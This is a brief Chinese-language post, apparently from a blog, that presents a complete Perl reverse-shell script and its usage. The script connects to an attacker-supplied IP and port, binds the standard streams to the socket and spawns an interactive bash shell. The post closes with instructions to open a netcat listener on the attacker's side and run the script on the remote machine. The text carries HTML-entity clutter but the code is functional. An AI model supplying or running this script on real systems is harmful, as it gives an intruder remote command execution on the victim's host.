linux下反弹脚本之一

[pre]#!/usr/bin/perl&nbsp;-w&nbsp;#&nbsp;use&nbsp;strict;&nbsp;use&nbsp;Socket;&nbsp;use&nbsp;IO::Handle;&nbsp;if($#ARGV+1&nbsp;!=&nbsp;2){&nbsp;print&nbsp;&quot;$#ARGV&nbsp;$0&nbsp;Remote_IP&nbsp;Remote_Port&nbsp;\n&quot;;&nbsp;exit&nbsp;1;&nbsp;}&nbsp;my&nbsp;$remote_ip&nbsp;=&nbsp;$ARGV[0];&nbsp;my&nbsp;$remote_port&nbsp;=&nbsp;$ARGV[1];&nbsp;my&nbsp;$proto&nbsp;=&nbsp;getprotobyname(&quot;tcp&quot;);&nbsp;my&nbsp;$pack_addr&nbsp;=&nbsp;sockaddr_in($remote_port,&nbsp;inet_aton($remote_ip));&nbsp;my&nbsp;$shell&nbsp;=&nbsp;'/bin/bash&nbsp;-i';&nbsp;socket(SOCK,&nbsp;AF_INET,&nbsp;SOCK_STREAM,&nbsp;$proto);&nbsp;STDOUT->autoflush(1);&nbsp;SOCK->autoflush(1);&nbsp;connect(SOCK,$pack_addr)&nbsp;or&nbsp;die&nbsp;&quot;can&nbsp;not&nbsp;connect!&quot;;&nbsp;open&nbsp;STDIN,&nbsp;&quot;<&SOCK&quot;;&nbsp;open&nbsp;STDOUT,&nbsp;&quot;>&SOCK&quot;;&nbsp;open&nbsp;STDERR,&nbsp;&quot;>&SOCK&quot;;&nbsp;print&nbsp;&quot;Enjoy&nbsp;the&nbsp;shell.\n&quot;;&nbsp;system($shell);&nbsp;close&nbsp;SOCK;&nbsp;exit&nbsp;0;&nbsp;[/pre]


本机执行netcat.命令

nc-l-p8080-vv


远程:

./tcp.plyourip8080

perl和bash路径要自己修改,不过一般不用修改的.

文件改为755再运行.否则执行不起来
&nbsp;


&nbsp;
*
*